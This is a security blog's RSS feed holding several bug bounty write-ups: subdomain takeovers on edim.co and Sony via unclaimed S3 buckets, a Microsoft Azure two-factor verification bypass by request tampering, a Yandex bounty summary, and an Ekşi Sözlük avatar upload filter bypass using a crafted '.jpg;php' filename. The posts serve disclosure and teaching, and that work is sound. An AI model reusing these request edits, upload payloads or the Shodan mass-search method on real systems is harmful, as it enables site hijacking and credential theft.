Bug Bounty arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Sat, 22 Jun 2019 21:47:51 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png Bug Bounty arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Subdomain Takeover https://canyoupwn.me/tr-subdomain-takeover/ https://canyoupwn.me/tr-subdomain-takeover/#respond Sat, 31 Mar 2018 07:00:15 +0000 https://canyoupwn.me/?p=7476 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Herkese merhaba, Daha önce yazdığım subdomain takeover konusu gerek İngilizce gerekse karmaşık olmasından dolayı çok anlaşılamamıştı. Bugün Türkçe ve detaylı olarak anlatmaya çalışacağım. Subdomain Takeover Genellikle çok fazla subdomainin olduğu büyük sitelerde denk geldiğim subdomain takeover, Amazon S3, Github, Google gibi firmalardan servis alındığında, yapılandırma hatalarının yapıldığı dolayısıyla subdomaini ele geçirmenize olanak sağlayan bir zafiyettir. […]

TR | Subdomain Takeover Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Herkese merhaba,

Daha önce yazdığım subdomain takeover konusu gerek İngilizce gerekse karmaşık olmasından dolayı çok anlaşılamamıştı. Bugün Türkçe ve detaylı olarak anlatmaya çalışacağım.

Subdomain Takeover

Genellikle çok fazla subdomainin olduğu büyük sitelerde denk geldiğim subdomain takeover, Amazon S3, Github, Google gibi firmalardan servis alındığında, yapılandırma hatalarının yapıldığı dolayısıyla subdomaini ele geçirmenize olanak sağlayan bir zafiyettir. Amazon s3 sunucularında bucket oluşturmamanız ya da Google’da Gsuite kaydı yapmamanız bunlara örnektir.

Öncelikle hedef sitemizin subdomain listesini çıkarmamız gerek. Bunun için çok fazla yöntem var. Ben Shodan, Virustotal gibi özel(ücretli ve private) api’leri kullandığım için Aquatone aracına entegre etmesi kolay olduğundan bu aracı kullanıyorum. Subdomain tespitimizi aquatone-discover –domain edim.co komutu ile yapalım. Json ve txt olarak iki çıktı vermesi çeşitli işlemlerde işimizi oldukça kolaylaştıran etkenlerden. Bulduğumuz subdomainler;

1.edim.co,52.222.171.230
a.edim.co,52.222.171.17
apps.edim.co,52.222.171.253
badge.edim.co,52.222.171.237
badges.edim.co,52.222.171.191
box.edim.co,52.222.171.100
box.u.ph.edim.co,52.222.171.85
com.ph.edim.co,52.222.171.182
croc.edim.co,52.222.171.198
e.edim.co,52.222.171.141
ed.edim.co,52.222.171.128
embed.edim.co,52.35.188.254
g.edim.co,52.222.171.152
math.edim.co,52.222.171.44
pic.edim.co,52.85.219.213
production.edim.co,34.210.242.50
s3.edim.co,52.216.16.115
t.edim.co,52.85.219.112
thumbs.edim.co,52.85.219.45
u.ph.edim.co,52.85.219.223

İsterseniz Cut -d “,” -f1 komutu ile sadece subdomainleri alabilirsiniz. Takeover tespitimizi aquatone-takeover –domain edim.co komutu ile gerçekleştirelim.

Çıktımızda potansiyel birer subdomain takeover tespit etti. Aracın eksik yönü bunu sadece Cname kaydına bakarak yapması. Aynı zamanda sitedeki dönen cevaba da bakarsa çok daha profesyonel sonuçlar elde edilebilir. İlgili adresimizin cname kaydını inceleyelim.

dig cname s3.edim.co

; <<>> DiG 9.9.7-P3 <<>> cname s3.edim.co
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8322
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;s3.edim.co.			IN	CNAME

;; ANSWER SECTION:
s3.edim.co.		299	IN	CNAME	s3.amazonaws.com.

;; Query time: 78 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Thu Jan 25 21:55:07 +03 2018
;; MSG SIZE  rcvd: 69

Gördüğünüz gibi “s3.amazonaws.com” olarak yanıt döndü. Şimdi sitemize bakalım.

Bize “NoSuchBucket” hatası döndü. Yani bucket oluşturulmamış. Bu durumda S3 ayar panelinden ayarlarımızı yapalım.

Ayarlarımızı yaptıktan sonra erişime açık yapmadığım için AccessDenied hatası aldım. Bir index.html dosyası yükleyelim ve yayına açalım.

Domaini ele geçirdik.

PoC

Shodan ile Keşif

Shodan ile isp:amazon taraması yaptığımda yaklaşık 1 milyon index almış ip tespit ettim. Aramamı isp:amazon “no such bucket” şeklinde zafiyet tabanlı yaptığımda ise 272 site ile karşılaştım. Bing ile ip:x şeklinde arama yapıldığında bu siteler ele geçirilebilir. Hatta makinada root haklarında işlemler yapılabilir.

Sonuç

Hatalı yapılandırma nedeniyle subdomaini ele geçirmemiz mümkün oldu. Bu durumda siteye sahte bir arayüz yaparak kullanıcı bilgilerini toplanabilir, mining sitelerinin zararlı kodları ile zombi makinalar oluşturulabilir, bilgisayarınıza zararlı yazılımlar yükletilebilir. Www-data hakları elde edilmiş bir makinada root yetkisine erişilebilir dolayısıyla tüm sunucu istismar edilmiş olabilir.

TR | Subdomain Takeover Berk İMRAN

]]>
https://canyoupwn.me/tr-subdomain-takeover/feed/ 0
EN | Microsoft Authentication Bypass Vulnerability https://canyoupwn.me/en-microsoft-authentication-bypass-vulnerability/ https://canyoupwn.me/en-microsoft-authentication-bypass-vulnerability/#respond Sun, 07 Jan 2018 10:58:15 +0000 https://canyoupwn.me/?p=7369 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Greetings, Summary Vulnerability allows you to confirm a phone number or mail that you own or not.  So you have bypassed the two factor authentication verification. Two-step verification must be active so leak can ocur. At the same time, the 2fa verification must be mandatory by the administrator. You can add the phone number or […]

EN | Microsoft Authentication Bypass Vulnerability Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Greetings,

Summary

Vulnerability allows you to confirm a phone number or mail that you own or not.  So you have bypassed the two factor authentication verification. Two-step verification must be active so leak can ocur. At the same time, the 2fa verification must be mandatory by the administrator. You can add the phone number or e-mail address to the corporate e-mail address without knowing it. This is very big in terms of computer forensic. A criminal offense may appear attached to your email address as confirmed by your phone. So you can be in a criminal position. Think that your phone number has been approved at wannacry’s email address, Hello FBI it’s not me, it’s 0day 🙂

Steps To Reproduce

Step1:

The administrator must approve a two factor authentication and request you to add the phone number from your account when logging in.

Step2:

I tried atony first through phone number. When I realized that I went on from the mail address.

Step 3:

Let us examine the outgoing request when we press the verification buton;

POST /passwordreset/SendEmail.ajax HTTP/1.1
Host: account.activedirectory.windowsazure.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
X-Requested-With: XMLHttpRequest
AjaxSessionKey: null
__RequestVerificationToken: xkbu4lBzTLi4syPavllsrfnvFxXgEWQIGC1sadasdaxxHuzbcu01
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: https://account.activedirectory.windowsazure.com/passwordreset/register.aspx?client-request-id=x&sspr=1
Content-Length: 455
Cookie: flt=0; BOX.SessionCacheKey.SessID=cac246d0-xxxx-4bb5-879c-9xxxxe5ba1; BOX.SessionCacheKey.sspr-reg-ru=https://login.microsoftonline.com/common/SAS/ProcessAuth?request=rxxxxG5dO028RI59EjuJL3VO43C; BOX.CacheKey.CachedCSSFiles=1.0.0.1960:0xxxxxxFEDxx40xDB475A4C0x9B3Fxxxx2487
DNT: 1
Connection: close

p0=%7B%22UserCompanyName%22%3A%22Lostar%22%2C%22MobileCountryCode%22%3A%2290%22%2C%22MobileCountryCodeIndex%22%3A213%2C%22MobilePhoneNumber%22%3A%22x%22%2C%22AltEmail%22%3A%22berk.imran7%40gmail.com%22%2C%22RegistrationAttribute%22%3A%22AlternateEmailAttribute%22%2C%22MobilePhoneValidationOptionKey%22%3A%22%22%7D&assembly=BOX.AzurePortalWebsite, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null&class=Microsoft.Online.BOX.Admin.UI.Register

When I examine the outgoing post request and when I perform url decode;

p0={"UserCompanyName":"Lostar","MobileCountryCode":"90","MobileCountryCodeIndex":213,"MobilePhoneNumber":"{Phone number}","AltEmail":"[email protected]","RegistrationAttribute":"AlternateEmailAttribute","MobilePhoneValidationOptionKey":""}&assembly=BOX.AzurePortalWebsite, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null&class=Microsoft.Online.BOX.Admin.UI.Register

All you need to do is change the phone number or mail address with Proxy. Namely;

p0={"UserCompanyName":"Lostar","MobileCountryCode":"90","MobileCountryCodeIndex":213,"MobilePhoneNumber":"{Phone number}","AltEmail":"[email protected]","RegistrationAttribute":"AlternateEmailAttribute","MobilePhoneValidationOptionKey":""}&assembly=BOX.AzurePortalWebsite, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null&class=Microsoft.Online.BOX.Admin.UI.Register

Step4:

Got e-mail.

Step5:

Boom!

Proof of Concept

Timeline

October 10: Report Submitted
October 16: Report reviewed
October 18 – 21: Discussion
November 17: Report closed as resolved
Final: Award and hall of fame.

Thanks
Best Regards
Berk İmran

EN | Microsoft Authentication Bypass Vulnerability Berk İMRAN

]]>
https://canyoupwn.me/en-microsoft-authentication-bypass-vulnerability/feed/ 0
TR | Yandex Bug Bounty Süreci https://canyoupwn.me/tr-yandex-bug-bounty-sureci/ https://canyoupwn.me/tr-yandex-bug-bounty-sureci/#respond Wed, 09 Aug 2017 06:52:20 +0000 https://canyoupwn.me/?p=7172 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Amaç bu sefer hall of fame listesine girmek yerine ödül avcılığı olduğu için Yandex Key servislerini inceledim. Buradan detaylı inceyebilirsiniz. Yaklaşık 12 tane (320*12 yapanlara) zafiyet raporladım, muhtemelen bu ay hall of fame listesine de eklerler. Gelelim teknik kısma… 1)  Subdomain Takeover Tüm subdomainlere tek tek sorgu yaptırmam mümkün olmadığı için Hackerone aracılığıyla tanıştığımız bir […]

TR | Yandex Bug Bounty Süreci Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Amaç bu sefer hall of fame listesine girmek yerine ödül avcılığı olduğu için Yandex Key servislerini inceledim. Buradan detaylı inceyebilirsiniz.
Yaklaşık 12 tane (320*12 yapanlara) zafiyet raporladım, muhtemelen bu ay hall of fame listesine de eklerler. Gelelim teknik kısma…

1)  Subdomain Takeover

Tüm subdomainlere tek tek sorgu yaptırmam mümkün olmadığı için Hackerone aracılığıyla tanıştığımız bir arkadaşın kodladığı yazılımı kullanıyorum. Bulgusu şu şekilde;

Potential domain takeover detected!
Host………..: cdn-cloud.zen.yandex.com
Service……..: Cloudfront
Service website: https://aws.amazon.com/cloudfront/
Resource…….:
GitHub , Heroku, Amazon S3, Desk ve WPEngine dahil 25 serviste çalışan sunucuları belirleyip cname sorgularını gösteren ve bu şekilde subdomain takeover’ı tespit eden ufak bir yazılım. Daha iyisini yakında duyurmayı planlıyoruz.
Güncel hali;

2) SSRF

3) Stored XSS

Süreç

7 Ağustos – İlk Raporlamalar

9 Ağustos – Geri dönüş( özellikle subdomain takeover için detaylı anlatım istediler)

9 Ağustos – Güncellemeler (gönderdiğim diğer zafiyetler hala incelemede)

TR | Yandex Bug Bounty Süreci Berk İMRAN

]]>
https://canyoupwn.me/tr-yandex-bug-bounty-sureci/feed/ 0
TR | Ekşi Sözlük App Vulnerability https://canyoupwn.me/tr-eksi-sozluk-app-vulnerability/ https://canyoupwn.me/tr-eksi-sozluk-app-vulnerability/#comments Mon, 10 Jul 2017 19:01:02 +0000 https://canyoupwn.me/?p=7139 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Ekşi okuru ve sıkı yazarı olarak mobil uygulamasının çıktığını ve profil fotoğrafı yükleme özelliğinin geldiğini bu şekilde öğrendim. Sakarya’da kampta olmam sebebiyle gününde bakamadım ama az çok bu zafiyetin var olabileceğini tahmin etmiştim ve doğru da çıktı. Öncelikle uygulamayı incelerken parola bilgilerinin şifrelenmeden gitmesi dikkatimi çekti. POST /token HTTP/1.1 Accept: application/json Content-Type: application/x-www-form-urlencoded Content-Length: 128 Host: […]

TR | Ekşi Sözlük App Vulnerability Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Ekşi okuru ve sıkı yazarı olarak mobil uygulamasının çıktığını ve profil fotoğrafı yükleme özelliğinin geldiğini bu şekilde öğrendim. Sakarya’da kampta olmam sebebiyle gününde bakamadım ama az çok bu zafiyetin var olabileceğini tahmin etmiştim ve doğru da çıktı.

Öncelikle uygulamayı incelerken parola bilgilerinin şifrelenmeden gitmesi dikkatimi çekti.

POST /token HTTP/1.1
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Host: api.eksisozluk.com
Connection: close
User-Agent: okhttp/2.3.0

grant_type=password&username=berk.imran7%40gmail.com&password=blablabla&client_secret=6x8a95c-6xa28-x59ea-9d56-569532x

Profil fotoğrafı yükleme alanından önce normal bir fotoğraf yükledim.

HTTP/1.1 200 OK
Date: Mon, 10 Jul 2017 18:33:59 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 57
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"Success":true,"Message":"image uploaded successfully."}

Başarılı şekilde yüklendi. Şimdi php yzantılı atmayı deneyelim. Dönen istek bu şekilde.

HTTP/1.1 200 OK
Date: Mon, 10 Jul 2017 18:37:51 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 62
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"Success":false,"Message":"please upload image of type .jpg"}

Giden isteği tekrar manipüle ediyorum.

POST /v1/user/forme/upload/avatar HTTP/1.1
Accept: application/json
Authorization: bearer ixJwjW_kYNfwZhDF1LoHcpfK2wEmqPHUNEdLd7YEIGc59drWUUUeK6L4MBZipwme928Q8FsNsgDn9flYfzxAS63vTEhqkM8mbigPjMjPC4IYdJPzuw0UIGUqT_FYFsFmeNvOaT5ToOTdrTuiHZsU-JreWYzNlWvfg7XkBK-G2vhIdb6Gc4_odnsg_kqcjJGSObiIM_g2iqkQuQqrMcGiEOI6mfyWrtvlngWwpZ4eiZe1-mztKHCnrREs_nHePmKd
Content-Type: multipart/form-data; boundary="----MyGreatBoundary"
Content-Length: 25130
Host: api.eksisozluk.com
Connection: close
User-Agent: okhttp/2.3.0

------MyGreatBoundary
Content-Disposition: form-data; name=avatar; filename=avatar.jpg;php; filename*=utf-8''avatar.jpg.php

Ve yükleme başarılı.

Gelelim fotoğrafın nereye yüklendiğini bulmaya. Uygulama üzerinden fotoğrafın adresini öğrenemediğim için tarayıcı üzerinden devam ediyorum.

Doğrulama yapmadığım için haliyle oturum açmadı. Yine proxy aracılığı ile gereken bilgileri veriyorum.

Zafiyet fixlendikten sonra bu yazıyı yazdığım için jpg olarak yükledi.

Burada fotoğrafların direk eksisozluk.com domaininde olmasını ve rootlamaya kadar gitmesini isterdim ama haliyle başka sunucuda çıktı 🙂

Tüm sözlüğe selam olsun 🙂

TR | Ekşi Sözlük App Vulnerability Berk İMRAN

]]>
https://canyoupwn.me/tr-eksi-sozluk-app-vulnerability/feed/ 1
EN | Sony Subdomain Takeover https://canyoupwn.me/en-sony-subdomain-takeover/ https://canyoupwn.me/en-sony-subdomain-takeover/#respond Tue, 28 Mar 2017 14:27:28 +0000 https://canyoupwn.me/?p=6829 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Summary Subdomain takeover was possible in some of the subdomains.  The CNAME entry in the subdomain is pointing to an external page service (fanfootballsony.s3-us-west-2.amazonaws.com). Description   $ nslookup fan.football.sony.net 8.8.8.8 Server: 8.8.8.8 Address: 8.8.8.8#53 Non-authoritative answer: Name: fanfootballsony.s3-us-west-2.amazonaws.com Address: 173.255.201.227 fan.football.sony.net -> fan.football.sony.net is an alias for fanfootballsony.s3-us-west-2.amazonaws.com. The bucket name must be the same […]

EN | Sony Subdomain Takeover Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Summary

Subdomain takeover was possible in some of the subdomains.  The CNAME entry in the subdomain is pointing to an external page service (fanfootballsony.s3-us-west-2.amazonaws.com).

Description

 

$ nslookup fan.football.sony.net 8.8.8.8
Server:     8.8.8.8
Address:    8.8.8.8#53

Non-authoritative answer:
Name:   fanfootballsony.s3-us-west-2.amazonaws.com
Address: 173.255.201.227
fan.football.sony.net
 -> fan.football.sony.net is an alias for fanfootballsony.s3-us-west-2.amazonaws.com.

The bucket name must be the same as the CNAME. So fan.football.sony.net/filename would be the same as fanfootballsony.s3-us-west-2.amazonaws.com/filename if a CNAME were created to map fan.football.sony.net to fanfootballsony.s3-us-west-2.amazonaws.com.

PoC:

http://fanfootballsony.s3-us-west-2.amazonaws.com/subdomaintakeover/index.html

Risk

  • Fake website
  • Malicious code injection
  • Users tricking
  • Company impersonation

Since the vulnerable subdomain is called signup , it’s a perfect place to create a fake login/subscribe page to steal users credentials. An attacker would post links on forums or send emails and then wait for people to signup on the site he owns.

Fix

You should immediately remove the DNS-entry for this domain or point it elsewhere if you don’t use that service.

EN | Sony Subdomain Takeover Berk İMRAN

]]>
https://canyoupwn.me/en-sony-subdomain-takeover/feed/ 0